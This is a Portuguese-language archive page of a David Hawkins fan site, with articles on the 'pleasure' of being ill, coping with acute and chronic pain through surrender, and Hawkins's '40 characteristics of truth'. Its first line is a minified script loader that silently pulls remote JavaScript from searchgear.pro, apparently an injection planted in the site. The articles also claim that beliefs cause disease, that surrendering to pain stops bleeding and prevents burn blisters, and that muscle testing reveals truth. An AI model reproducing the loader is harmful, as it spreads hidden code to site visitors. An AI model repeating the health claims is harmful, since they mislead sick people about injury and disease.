;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de Dr. David Hawkins - David Hawkins Brasil
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David Hawkins

O “gostinho” em ficar doente

Parece impossível que alguém goste de ficar doente. E realmente, de forma consciente e madura, ninguém gosta. Mas, sabe quando uma criança se machuca e quer mostrar o machucado para todo mundo e receber atenção? Pois bem, essa criança ainda vive em nós e todos nós inconscientemente gostamos da atenção que recebemos por estarmos doentes.

Por estar doente, não precisamos cumprir certas obrigações, podemos ter mais momentos de preguiça, podemos ter um tempo para nós mesmos sem culpa e podemos receber carinho e cuidado de uma forma que não receberíamos se estivéssemos saudáveis. 

O problema surge quando esses pequenos prazeres em estar doente se tornam mais importantes para pessoa do que se curar e estar saudável para ter energia para realizar tudo o que escolheu para sua vida.

Reconhecer que estamos presos em gostar de ficar doente ao invés de verdadeiramente querermos nos curar é doloroso e difícil porque envolve olhar para a nossa sombra. No entanto, há técnicas como a cinesiologia, que nos ajudam a como discernir a verdade e nos libertar da falsidade, conforme explicado em um artigo anterior a esse.

“O teste muscular é responsável tanto pelos sistemas de crenças inconscientes quanto pelos conscientes. Os testes muitas vezes revelam que uma pessoa sente ou acredita inconscientemente o oposto do que pensa que acredita conscientemente. A pessoa, por exemplo, pode acreditar conscientemente que deseja curar-se, mas inconscientemente estar apegada às recompensas da doença. Um simples teste muscular revela a verdade sobre o assunto.” – Dr. David Hawkins, Deixar Ir

O gostinho em sofrer ao ficar doente

No artigo sobre dor aguda, citamos um trecho muito importante de crenças que as pessoas têm sobre as doenças e uma delas é de que ao sofrer nos aproximaremos de Deus, por estar “pagando os pecados”. Na verdade, a visão de Deus como justiceiro é uma visão do nível de consciência do medo que nos distancia de Deus. Deus é Amor e Bondade e não quer que a gente sofra. 

“Agora temos que abrir mão da crença de que penitência, culpa, pecado e sofrimento são de enorme benefícios espirituais. Verdadeiramente, todos os milhares de pessoas que tratei clinicamente ao longo de cinquenta anos que tinham dor crônica, culpa, pecado e sofrimento, eram as pessoas mais egoístas e egocêntricas que já conheci. Dor crônica e sofrimento não fazem as pessoas se iluminarem, se tornarem amorosas. Isso normalmente as faz ser mal-humoradas, raivosas, egoístas e egocêntricas, o que as leva para o próximo nível – auto-piedade”  – Dr. David Hawkins, “Cura e Recuperação”

Sentir pena de si mesmo por estar doente coloca a pessoa em um campo de consciência de falsidade. Ela acredita na ilusão de que é vítima da doença, assim assumindo a posição “confortável” de não precisar ser responsável pelo seu processo de cura. Quando, na verdade, não tem nada de “confortável” em permanecer em um estado de doença. 

Estudo de caso: o doente diante da depressão e da culpa

“Um dos maiores obstáculos a superar para sair da depressão e da apatia é o da culpa. A culpa é todo um assunto por si só. Observar isso é gratificante. Para começar, há muitas recompensas em culpar. Podemos ser inocentes; podemos desfrutar da autopiedade; podemos ser o mártir e a vítima; e podemos ser aquele que recebe a simpatia dos outros. Talvez a maior recompensa pela culpa seja que somos a vítima inocente e a outra parte é a má. 

Vemos esse jogo sendo constantemente exibido na mídia, como os intermináveis jogos de culpa dramatizados em uma infinidade de controvérsias, difamação, assassinatos de caráter e ações judiciais. Além da recompensa emocional, a culpa traz benefícios financeiros consideráveis; portanto, é um pacote tentador ser vítima inocente, pois muitas vezes isso é recompensado financeiramente. 

Houve um exemplo famoso disso na cidade de Nova York há muitos anos. Ocorreu um acidente de transporte público. As pessoas saíram pela porta da frente do veículo e depois se reuniram em uma pequena multidão, fornecendo seus nomes e endereços para benefícios financeiros futuros. Os espectadores rapidamente perceberam o jogo e subiram secretamente na traseira do veículo, para que pudessem sair da frente como feridos, “vítimas inocentes”. Eles nem haviam sofrido o acidente, mas iriam receber uma recompensa! 

Culpar os outros é a maior desculpa que existe no mundo. Permite-nos permanecer limitados e pequenos sem nos sentirmos culpados. Mas há um custo: a perda da nossa liberdade. Além disso, o papel de vítima traz consigo uma autopercepção de fraqueza, vulnerabilidade e desamparo, que são os principais componentes da apatia e da depressão.” – Dr. David Hawkins, Deixar Ir

O caminho da cura

O caminho da cura envolve sair do papel de vítima. Além de compreender que “todo não consigo é não quero” e renunciar aos pequenos prazeres que nos fazem não querer verdadeiramente a cura. É preciso coragem de olhar para as nossas sombras e deixar ir essas emoções que nos atordoam. 

Assim como trouxemos o exemplo da depressão para ilustrar o papel da culpa e do vitimismo em uma doença, vamos seguir com a mesma doença para ensinar sobre a cura.

“Uma coisa é analisar a base causal da depressão e outra é entrar totalmente nas profundezas da desesperança, abandonando a resistência ao sentimento. Ao permitir a plena sensação disso e ao abandonar cada sensação, cada pensamento e cada pequena recompensa que você está obtendo com isso, você está livre. Não é necessário investigar o “porquê” da depressão para se libertar do “o quê” ela manifesta.” – Dr. David Hawkins, Deixar Ir

A cura não vem de analisar e entender o problema, como se acredita racionalmente. Tampouco vem em não sentir mais sintomas dessa doença. A verdadeira cura é quando não importa mais se os sintomas vão desparecer ou não porque já não mais nos sentimos vítimas deles. 

“Como se pode saber se a humildade e a entrega estão completas? Estão completas quando se está indiferente para se a cura vai acontecer ou não. Esse é o resultado da entrega para Deus a grandes profundidades e a renúncia do desejo de controlar ou mudar como as coisas são.”  – Dr. David Hawkins, “Cura e Recuperação”

Assuma a responsabilidade de que só você pode escolher com seu livre arbítrio entregar seu sofrimento em estar doente para Deus e se libertar disso. Vamos juntos!

Gloria in Excelsis Deo!

Não perca nada!

Fizemos uma série que já conta com 3 artigos anteriores sobre o “gostinho” do ego em sofrer:

Aproveite essa sequência de artigos para se aprofundar nesse tema que quando observado, muda vidas.

Leia direto da fonte

No livro “Poder vs. Força”, o dr. David Hawkins nos ensinou sobre como sair dos campos energéticos que escolhem servir ao ego e nos dedicar aos campos de consciência que servem a Deus. Enquanto que no livro “Deixar Ir” ele resume de maneira muito clara o trabalho, de toda sua carreira, em como deixar ir toda a negatividade que nos bloqueia de um estado de Paz Interior (de se tornar um com Deus). 

Além disso, no livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito. Assim, podemos praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. 

No livro “Sucesso é Para Você” ele revela como sair de uma mentalidade de escassez para uma de abundância, na qual escolhemos utilizar e aperfeiçoar nossos talentos em prol de servir a Deus. 

Ainda que esses são apenas os livros que já estão traduzidos para o português, há muito mais por vim!

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e a Pandora Treinamentos absorveu essa intenção, justamente pela sua inspiração e pelo compromisso em traduzir seus livros para português, visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor.

Estão todos convidados para mergulhar nesse conteúdo conosco.

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Níveis de Consciência

Como lidar com a dor crônica sem sofrimento?

Nesse artigo vamos aprender a lidar com a dor crônica, aquela que vem e insiste em ficar. Mostraremos práticas espirituais e técnicas, vamos aprofundar no que explicamos no artigo da semana passada sobre como lidar com a dor aguda pontual que ocorre após algum acidente.

A técnica que será utilizada será a mesma que para a dor aguda, mas a forma de fazer isso é um pouco diferente. Vamos aprofundar com algumas práticas de como lidar com a dor crônica a seguir.

Lidando com a dor crônica

1ª. Prática: Observe que a dor está em todo lugar

Quem nunca sentiu uma dor que faz o estômago revirar e as pernas tremerem? A dor não tem um muro em volta em que fica apenas na região que está sendo evidenciada incialmente. A dor está na consciência e justamente por isso pode ser sentida de qualquer região do nosso corpo. Abaixo vamos ensinar uma técnica de meditação para observar isso com maior clareza.

“Como todas as experiências estão sendo experienciadas na consciência, observamos para ver onde a dor está sendo experienciada, como no caso do polegar que foi cortado. Primeiramente, poderíamos dizer que a dor está no dedo. Na verdade, onde a dor está sendo experienciada? A dor move a atenção para longe do dedo. Se a pessoa disser “Movo o foco da atenção para o topo da minha cabeça”, do topo da cabeça, olhamos a região do polegar e experienciamos a dor da situação, mas onde está se passando a dor do polegar? Quando fazemos isso, começamos a perceber que a dor está sendo experienciada em todo lugar – ao redor do corpo e nos campos de energia do corpo – está acontecendo em todos os lugares.”  – Dr. David Hawkins, “Cura e Recuperação”

2ª. Prática: Não Rotule o que está sentindo

A sensação que sentimos não é o nome que damos a sensação, é o que é experienciado de fato. Mesmo as palavras sensação ou dor são rótulos. Por exemplo, se você tem uma úlcera, não chame de úlcera. Sua mente vai querer então chamar de “queimação”. Mas isso também é um conceito.

Pense em um animal que apenas sente sem ficar refletindo sobre o que é, porque está sentindo isso, etc. É justamente isso que vamos fazer! Assim, podemos nos desvincular de todas as programações mentais que vem atreladas a ter uma doença, como, no exemplo que demos, tudo o que a humanidade associa ao fato de ter úlcera.

“Estamos sujeitos apenas àquilo que mantemos em mente. Essa única frase é a chave para curar todas as doenças, dores e sofrimentos.”  – Dr. David Hawkins, “Cura e Recuperação”

3ª. Prática: Cancele crenças

Ao compreendermos que só estamos sujeitos ao que mantemos em mente, logo vem a mente uma vontade de limpar tudo isso e de saber como fazer essa limpeza profunda. A forma de fazer isso é cancelar nossas crenças, já que são elas que estão por trás das doenças e acidentes.

“Pesquisas mostraram que é o sistema de crença em si que literalmente cria a experiência. O incidente é uma expressão do sistema de crenças. É como se a mente justificasse o que acredita ser verdade.”  – Dr. David Hawkins, “Cura e Recuperação”

A única maneira de saber se isso é verdade, é praticando. Portanto, a primeira crença que vamos cancelar é a de que dor e sofrimento são a mesma coisa. Vamos dizer a nós mesmos: “Dor é uma coisa, sofrimento é outra”.

Em seguida, vamos cancelar todos os pensamentos, pois todos são crenças. Para isso vamos utilizar a seguinte frase: “Eu cancelo a crença (de que tenho uma dor crônica). Eu sou um ser de Amor Infinito e não estou sujeito a isso”.  – Dr. David Hawkins, “Cura e Recuperação”

4ª. Prática: Se distancie da dor

O caminho não é de reprimir a dor ou se distrair para não focar no que está acontecendo. O caminho ainda é o que indicamos para a dor aguda: é renunciar à resistência para de fato sentir a dor, ao invés de tentar fugir dela. 

Podemos sentir a dor com um certo distanciamento, quase como se estivéssemos observando a dor em uma outra pessoa. 

“Por que algumas pessoas são tão suscetíveis à dor e sofrimento e para outras é tão transitório? Para quem é transitório, a dor e o sofrimento passam pela superfície, mas não em seu núcleo. Podem ficar extremamente incomodadas com algo, mas quem elas realmente são internamente, se mantém imperturbável. De alguma maneira, existe uma diferenciação entre quem se é e as experiências. O Eu real é totalmente imperturbável e permite que a experiência flua através do eu. O mal-estar, como conflitos emocionais, pode durar horas, mas o Eu verdadeiro interior nem participa desse mal-estar. Essa é a diferença entre o que é o eu real da pessoa e o que está sendo experienciado. É o desapegar do hábito de se identificar como a experiência. Somos aquilo em que a experiência está acontecendo, não a experiência em si.”  – Dr. David Hawkins, “Cura e Recuperação”

5ª. Prática: Entregue a Dor para Algo Maior

Lidar com a dor crônica não é missão para o ego, que vai querer fugir ou se sentir culpado ou orgulhoso. Esse processo envolve humildade radical e uma grande entrega a Deus. Em oração podemos assumir que não conseguimos e pedir para que Deus lide com isso por nós. Assim, poderemos experienciar que de fato algo maior do que o eu, lida com a dor por nós. 

“Minha experiência pessoal foi que alguma energia maior surgia e cuidava da dor para mim. Chamamos de “energia maior”, pois podemos verificar sua existência. Como já disse, “Deus, eu não posso fazer; faça por mim”.”  – Dr. David Hawkins, “Cura e Recuperação”

O sofrimento que vem da dor aguda é reflexo do Nível de Consciência

No fundo da tabela de consciência está a Culpa (30), a culpa excessiva gera doenças, acidentes e desgastes. Quando nos conectamos ao nível de consciência de culpa, vivemos em pecado, sofrimento, dor e isso por si só gera um ódio a nós mesmos. É um processo de autodestruição. 

Aqui, o primeiro ponto que precisamos desapegar é que isso traz algum benefício. A verdade é que a culpa não nos faz pessoas melhores, em vez disso, ela nos torna pessoas ainda mais egoístas. 

“Agora temos que abrir mão da crença de que penitência, culpa, pecado e sofrimento são de enorme benefícios espi- rituais. Verdadeiramente, todos os milhares de pessoas que tratei clinicamente ao longo de cinquenta anos que tinham dor crônica, culpa, pecado e sofrimento, eram as pessoas mais egoístas e egocêntricas que já conheci. Dor crônica e sofrimento não fazem as pessoas se iluminarem, se tornarem amorosas. Isso normalmente as faz ser mal-humoradas, raivosas, egoístas e egocêntricas, o que as leva para o próximo nível – autopiedade”  – Dr. David Hawkins, “Cura e Recuperação”

Sentir pena de si mesmo pela doença não é o caminho, nem sentir Medo de que esse estado permaneça ou mais ainda, o medo de que o estado piore.  O caminho também não é o Desejo constante de se livrar de tudo isso, o que só gera mais resistência. Enquanto a resistência, por sua vez, garante a permanência da dor e deixa as pessoas raivosas. 

“A raiva das pessoas em dor crônica é enorme. Estão presas nisso.”  – Dr. David Hawkins, “Cura e Recuperação”

Há até um Orgulho sombrio de ninguém conseguir ajudar a pessoa a sair dessa condição na qual está presa. Quando a pessoa acredita que seu caso não tem solução, perde a esperança e resiste ao tratamento. É claro que esse também não é o caminho. 

Os Níveis de Consciência positivos nos distanciam da dor

O caminho para sair disso começa na Coragem para “deixar de resistir”. A partir daí, atingimos a Neutralidade onde reconhecemos que está tudo bem, não importa o que aconteça. Isso nos traz a Disposição em ser misericordiosos e a Aceitar que somos humanos, realmente aceitar a nossa humanidade.

“Existe a aceitação da condição humana e da experiência protoplásmica humana sem sentir mágoas com relação a isso, sem sentir autopiedade, sem ficar com raiva, sem sentir orgulho e começar a julgar “erros” e sem atacar a si mesmo. Se fizermos isso, podemos nos elevar para um campo de energia chamado Amor, ou mesmo Alegria e Amor Incondicional.”  – Dr. David Hawkins, “Cura e Recuperação”

Quando entramos em um estado de amorosidade (entre 500 e 540), aprendemos a rir de nós mesmos. Logo, nos aproximamos da cura. Há vários livros que relatam que o humor cura, assim as doenças físicas são de fato curadas por risadas frequentes. Aqui, cria-se a consciência de que a dor é uma coisa, mas eu sou outra.

O que fazer com a dor crônica durante todo esse processo espiritual até se chegar na cura?

1ª. Técnica: Acupuntura

Aqui no artigo ensinamos como lidar com a parte espiritual durante uma doença, mas precisamos também fazer algo para aliviar nosso corpo físico, justamente porque todas as doenças devem ser tratadas nos âmbitos físico, mental e espiritual. A acupuntura, por sua vez, vai atuar de forma muito efetiva no corpo físico, aliviando as dores e contribuindo para que o processo de cura espiritual seja realizado do começo a fim, sem tantas interferências na vida mundana. 

2ª. Técnica: Relaxamento profundo

Outro nome dado a essa técnica é hipnose, mas dado a todas as crenças que se atribuíram a palavra, optamos por nomeá-la de relaxamento profundo, o que reflete de maneira mais autoexplicativa o que é essa técnica. 

Por questões de progressão da consciência, não recomendamos buscar um profissional que faça esse tipo de trabalho, recomendamos que a pessoa aprenda a chegar nesse estado por si só. É um estado de relaxamento no qual o nível de concentração fica aumentado de forma que não conseguimos na vida cotidiana. Assim, é muito mais fácil reprogramar crenças.

Então, como fazer isso sozinho?

Comece relaxando seu corpo por níveis, como se estivesse descendo 10 degraus. Antes de começar cada nível, anuncie mentalmente para você mesmo “Nível 1” e assim por diante.

  • Nível 1 – Inicia a experiência
  • Nível 2 – Relaxe todos os músculos da cabeça. Não se esqueça de observar a mandíbula onde sobrecarregamos muitas tensões. 
  • Nível 3 – Relaxe as tensões do pescoço e trapézio
  • Nível 4 – Relaxe os músculos das costas e do peitoral
  • Nível 5 – Aumente a progressão do relaxamento, dos músculos maiores até os menores, como ombros, braços, antebraços, mãos e dedos.
  • Nível 6 – Relaxe peito e tronco
  • Nível 7 – Relaxe toda a tensão do abdômen inferior
  • Nível 8 – Relaxe quadril e nádegas
  • Nível 9 – Deixe o relaxamento fluir pelas suas pernas
  • Nível 10 – Relaxe os pés

No nível 10, diga a si mesmo “Estou no nível 10”, como um gatilho para realmente desapegar da resistência. Em seguida, reprograme suas crenças com o que ensinamos aqui, por exemplo, que dor é uma coisa, sofrimento é outra. Observe que quando não há resistência, não há sofrimento em sentir a dor. Por fim, aplique a primeira prática que ensinamos aqui e experiencie a dor em todo lugar, sem resistência.

3ª. Técnica: Ouvir músicas grandiosas

Hoje sabemos que as músicas belas e grandiosas liberam endorfinas no cérebro. Mas desde a época de Hipócrates já sabíamos do efeito curativo que a beleza proporciona. 

No âmbito mais popular são recomendados artistas como George Harrison, Andrea Bocelli, Enrico Caruso e Louis Armstrong. Já se você gosta de música clássica, mergulhe ao som de Bach, J. S.  e Pachebel, J. (“Canon”). Mesmo que você não esteja familiarizado com músicas clássicas, escute quando for fazer uma atividade em precise de energia ou para começar o dia. Já para relaxar e se interiorizar, recomendamos músicas espirituais como “Ave Maria” e “Amazing Grace” ou o som de Robert Gass.

Não perca nada!

Essa é a segunda parte do artigo inspirado no “Capítulo 10: Dor e Sofrimento” do livro “Cura e Recuperação”. Na primeira parte, ensinamos a lidar com a dor aguda e é uma ótima introdução para melhor compreender o que ensinamos aqui.

Leia direto da fonte: livro “Cura e Recuperação” 

Uma das melhores maneiras de absorver toda a profundidade do trabalho do Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá se aprofundar no contexto e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Além disso, os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito, de maneira a praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. Mas não é só isso, ao descobrir a Verdade, vamos aprender a lidar com a sexualidade, o envelhecimento, questões de emagrecimento e até a própria morte.

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e que Pandora Treinamentos absorveu, pela sua inspiração e pelo compromisso em traduzir seus livros para português. Visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Cura e Recuperação” no Brasil.

Estão todos convidados para mergulhar nesse conteúdo conosco.

Acesse o site da Editora Pandora e adquira o seu exemplar do livro Cura e Recuperação.

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Níveis de Consciência

Como lidar com a dor aguda sem sofrimento?

Não, a dor e o sofrimento não são a mesma coisa, por mais surpreendente que essa informação possa parecer. Não é necessário ser vítima da dor e isso é possível justamente descontruindo a crença de que dor é igual a sofrimento. É possível que a dor esteja presente, mas não seja sentida devido ao estado de consciência. Isso é o que acontece de forma artificial quando tomamos uma anestesia, mas aqui vamos ensinar como chegar nesse estado de forma natural.

Acreditamos que a dor é sentida fisicamente, mas na verdade ela é interpretada pela mente. Enquanto a mente, só sabe o que se passa nela devido a consciência. No artigo sobre Sexualidade aprofundamos um pouco mais sobre como isso funciona.

“O conteúdo da mente e o que está se passando nela é observado através da consciência; assim sendo, toda experiência está ocorrendo na consciência.” – Dr. David Hawkins, “Cura e Recuperação”

Lidando com a dor aguda

O ego acredita que ao resistir a dor, ela será eliminada. Queremos resistir a todo custo por acreditar que a dor gera sofrimento. Ficamos chocados que houve um acidente e mentalizando sobre isso, querendo que não tivesse acontecido. A técnica que vamos usar é o oposto disso é desapegar da resistência, e vamos mostrar porque isso é muito melhor do que toda a resistência que geramos normalmente.

“Desapegar da resistência significa estar por completo no evento e se render totalmente a sensação. Significa ignorar os pensamentos que possamos estar tendo sobre o evento. Em vez de pensar sobre isso, vamos entrar diretamente na experiência da sensação e desapegar de resisti-la. Por exemplo, se nos queimarmos acidentalmente e desapegarmos de resistir a sensação, inicialmente será como uma saturação. Abrimos as portas, a dor se intensifica, e nos rendemos totalmente a ela e desapegamos de resistir.

A maneira de fazer isso é dizer “Mais, mais, mais”. A maneira de manter isso em mente para que seja aceitável é saber que existe uma quantidade limitada de dor em cada experiência. Abrimos a porta e a deixamos se esgotar rapidamente. “Desapego de resistir a essa experiência. Desapego de resistir em estar com ela. Ignoro os pensamentos, pois os pensamentos não serão úteis. Ao invés disso, me rendo totalmente e me permito experienciar a experiência na sua totalidade”. É como se a porta se abrisse, a intensidade aumenta e a dor é totalmente experienciada e esgotada em poucos minutos.” – Dr. David Hawkins, “Cura e Recuperação”

Experiências de quem aplicou a técnica para dores agudas

Quando escolhemos sentir a experiência da dor, deixamos de ser vítimas da experiência e nos tornamos senhores dela. A técnica foi utilizada pelo próprio dr. David Hawkins ao torcer o tornezelo e o pé esquerdo, em seguida dessas experiências, ele sentiu ondas de dor aguda, mas não precisou enfaixar e ficou completamente curado. 

Quando ele cortou seu dedão fora com uma serra ao fazer carpintaria o sangue parou de jorrar em poucos segundos após amputar seu dedo. Ficaram apenas 8 gostas na tábua de madeira que está guardada até hoje.

No entanto, ele não foi o único a experienciar os benefícios dessa técnica. Foram muitos os casos, mas ele cita mais dois alunos dele que fizeram isso com queimaduras intensas e não tiverem as bolhas que se esperaria delas. Além disso, conta o caso de uma turma em que ensinou sobre isso numa semana, e na próxima semana vários alunos tiverem acidentes e puderam comprovar a eficácia da técnica.

Você não precisa acreditar no que está aqui, a técnica pode ser experienciada por qualquer pessoa. Tudo o que precisa ser feito é desapegar da resistência. Enquanto a resistência estiver presente, a experiência permanece. Portanto, é a resistência que nos coloca na posição de vítimas e é assim a dor ganha poder sobre nós. 

Correlação da Experiência com os níveis de Consciência

Quando tentamos controlar a experiência ou usar força de vontade, estamos em um nível de consciência negativo de Raiva e Indignação (150), inconformados porque ter que sentir dor. Aqui, ficamos presos num mar de emoções negativas, sem alívio dos sintomas. 

No entanto, podemos criar Coragem (200) de agir diferente e compreender a Neutralidade (250) de que “está tudo bem passar por isso”. Assim, surge a Disposição (310) de lidar com isso até o final. Com essa escolha ficamos dispostos a aceitar o que é e nós nos elevamos a Aceitação (380).

Ao escolher aplicar a técnica que ensinamos aqui a pessoa observa que seu ego não precisa lidar com a dor, em vez disso, Algo Maior, o Amor (500) está com elas nesse momento. Até que isso nos eleva ao Amor Incondicional (540) que é o nível da Cura e do desapego à resistência. 

“É fazendo essas coisas que elas se tornam reais. Fazendo esse exercício co- meçamos a experienciar que algo além do eu pessoal está lidando com a experiência e, dentro de instantes, o que era agonizante se torna suportável. Saímos da resistência e do medo do sofrimento.”  – Dr. David Hawkins, “Cura e Recuperação”

Não perca nada!

Essa é a primeira parte do artigo inspirado no “Capítulo 10: Dor e Sofrimento” do livro “Cura e Recuperação”. Na segunda parte, que vamos publicar semana que vem, ensinaremos a lidar com a dor crônica.

Leia direto da fonte: livro “Cura e Recuperação” 

Uma das melhores maneiras de absorver toda a profundidade do trabalho do Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá se aprofundar no contexto e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Além disso, os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito, de maneira a praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. Mas não é só isso, ao descobrir a Verdade, vamos aprender a lidar com a sexualidade, o envelhecimento, questões de emagrecimento e até a própria morte.

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e que Pandora Treinamentos absorveu, pela sua inspiração e pelo compromisso em traduzir seus livros para português. Visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Cura e Recuperação” no Brasil.

Estão todos convidados para mergulhar nesse conteúdo conosco.

Acesse o site da Editora Pandora e adquira o seu exemplar do livro Cura e Recuperação.

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40 Características da Verdade

Anteriormente, explicamos em outro artigo como discernir a Verdade da Falsidade. No entanto, outro ponto de extrema relevância é compreender quais são as características da Verdade, o que nos traz segurança para trilhar o caminho da verdade.

Nós nos entregamos a Deus com uma facilidade muito maior quando verificamos a integridade dos ensinamentos e do professor. Além disso, é uma proteção a nossa alma, para se entregar só a aquilo que vale a nossa confiança.

Já mencionamos também em outro artigo sobre a grande dor que é ter um falso professor espiritual, por isso a importância de compreender como a Verdade se manifesta diante de suas características.

40 Características da Verdade

“1 – Universalidade:

A Verdade é Verdade em qualquer tempo e espaço, independente da cultura, personalidades ou circunstâncias.

2 – Não exclusivista:

A Verdade é abrangente, não é secreta, nem sectária.

3 – Disponível:

É aberta a todos, sem exceção. Não existem segredos escondidos a serem revelados ou vendidos e não há fórmulas mágicas ou “mistérios”.

4 – Integridade de propósito:

Não existe nada a perder ou ganhar.

5 – Não sectária:

Verdade não é a exposição da limitação.

6 – Independente de opinião:

A Verdade é não linear e não está sujeita às limitações do intelecto e da forma.

7 – Ausência de Posicionamento:

A Verdade não é ‘anti’ nada. Falsidade e ignorância não são seus inimigos, mas apenas representam sua ausência.

8 – Sem requisitos ou demandas:

Não há obrigatoriedade de filiações, quotas, regulamentos, juramentos, regras ou condições.

9 – Não controladora:

A pureza espiritual não tem interesse na vida pessoal do aspirante, ou em sua vestimenta, vida sexual, finanças, padrões familiares ou hábitos alimentares.

10 – Livre de força ou intimidação:

Não há lavagem cerebral, adulação de líderes, rituais de treinamento, doutrinações, ou intrusões na vida pessoal.

11 – Não vinculante:

Não há regulamentos, leis, editais, contratos ou compromissos.

12 – Liberdade:

Os participantes são livres para ir e vir, sem persuasão, coerção, intimidação ou consequências. Não há hierarquia, em vez disso, há a execução voluntária de necessidades e deveres práticos.

13 – Comunalidade:

O reconhecimento é consequência do que a pessoa se tornou e não de títulos, adjetivos ou ornamentos.

14 – Inspiradora:

A Verdade evita e afasta-se de glamorização, sedução e dramatização.

15 – Não materialista:

A Verdade é desprovida das necessidades mundanas como riqueza, prestígio, pompa ou edifícios.

16 – Autossatisfatória:

A Verdade já é total e completa e não há necessidade de converter discípulos, seguidores, ou membros inscritos.

17 – Desapegada:

Não há envolvimento nos assuntos mundanos.

18 – Benigna:

É identificável em uma escala gradiente. Não tem opostos e, portanto, não há inimigos para castigar ou se opor.

19 – Não intencional:

Não interfere ou tem um interesse para defender, infligir ou promover.

20 – Não dual:

Tudo se manifesta por virtude da propensão intrínseca (cármica) contida no campo (de consciência), através da qual a potencialidade se manifesta como realidade e não como causa e efeito.

21 – Tranquilidade e Paz:

Não há problemas ou parcialidades. Não há desejo de mudar o outro ou a sociedade. O efeito das energias mais elevadas é inato e não depende de divulgação ou esforço. Deus não precisa de ajuda, assim como a gravidade não precisa da “ajuda” de uma maçã cair da árvore.

22 – Igualdade:

Isso é expressado na reverência por todas a vidas em todas as suas formas de expressão e simplesmente evita aquilo que denigre a vida, ao invés de se opor a isso.

23 – Atemporal:

A vida é realizada como eterna e a fisicalidade como temporal. A vida não é sujeita a morte.

 24 – Além de prova:

Aquilo que é provado é linear, limitado e produto de intelectualização. A Realidade não precisa entrar em nenhum acordo. A realidade não é uma aquisição, mas, em vez disso, é uma realização puramente espontânea e subjetiva (que ocorre) quando as poscionalidades do ego dualista são rendidas.

25 – Mística:

A origem da Verdade é um esplendor espontâneo, radiância e iluminação, o que ocupa o lugar da ilusão de ser um eu separado, do ego e das suas mentalizações.

26 – Inefável:

Não capaz de definição. Subjetividade radical é experiencial. É uma condição que substitui a condição anterior que era focada no ego. Com esse evento, o contexto substitui o conteúdo, de forma atemporal. A realidade não existe no tempo, não está contida no tempo, além do tempo ou mesmo fora do tempo e não há relação com aquilo que é artificio de mentalizações. É, portanto, além de todos os substantivos, adjetivos ou verbos, transitivo ou intransitivo.

27 – Simplista:

Vê-se a beleza interna e perfeição de Tudo que existe além de forma e aparência.

28 – Afirmativa:

É além de opiniões e capacidade de provar. Sua confirmação é puramente por sua consciência subjetiva; entretanto, é identificável pelas técnicas de calibragem de consciência.

 29 – Não operativa:

Não “faz” nada ou “causa” nada. É tudo.

30 – Convidativa:

Em contraste com promocional ou persuasiva.

31 – Não preditiva:

Justamente porque a realidade não é linear, ela não pode ser localizada ou codificada pela sua restrição de forma, não há mensagens secretas, códigos, números e não há nada escondido em ruínas, pedras, nas dimensões das pirâmides, no DNA, nem nos pelos das narinas dos camelos. A Verdade não tem segredos. A realidade de Deus é onipresente e é além de códigos ou de exclusividade. Os códigos são reflexo da imaginação humana e não um capricho do Divino.

32 – Não sentimental:

A emocionalidade vem da percepção. A compaixão resulta do discernimento da Verdade.

 33 – Não autoritária:

Não há regras ou ditames a serem seguidos.

 34 – Não egóica:

Professores são respeitados, mas rejeitam adulação ou especialidades.

35 – Educacional:

Providencia informação em uma variedade de formatos a fim de garantir disponibilidade.

36 – Autoportante:

Não é mercenária, nem materialista.

37 – Independente:

Completa, sem dependências externas ou autoridades históricas.

38 – Natural:

Sem estados de consciência induzidos e alterados ou manipulações de energia por exercícios artificiais, posturas, respirações ou rituais de dieta (ou seja, não há dependência da forma ou fiscalidade, não há invocação de entidades ou outros).

39 – Completa:

Desprovida de exploração ou necessidade de ganho.

40 – Não violenta:

Não coerciva, benigna, não intimidadora.”

Fonte: Dr. David Hawkins em “The Map of Consciousness Explained”

Por fim, com essas características explicitas, podemos seguir confiantes de que estamos no caminho da Verdade.

Gloria In Excelsis Deo!

Leia Direto da Fonte

No livro “Poder vs. Força”, o dr. David Hawkins nos ensinou sobre como sair dos campos energéticos que escolhem servir ao ego e nos dedicar aos campos de consciência que servem a Deus. Enquanto que no livro “Deixar Ir” ele resume de maneira muito clara o trabalho, de toda sua carreira, em como deixar ir toda a negatividade que nos bloqueia de um estado de Paz Interior (de se tornar um com Deus). 

Além disso, no livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito. Assim, podemos praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. 

No livro “Sucesso é Para Você” ele revela como sair de uma mentalidade de escassez para uma de abundância, na qual escolhemos utilizar e aperfeiçoar nossos talentos em prol de servir a Deus.

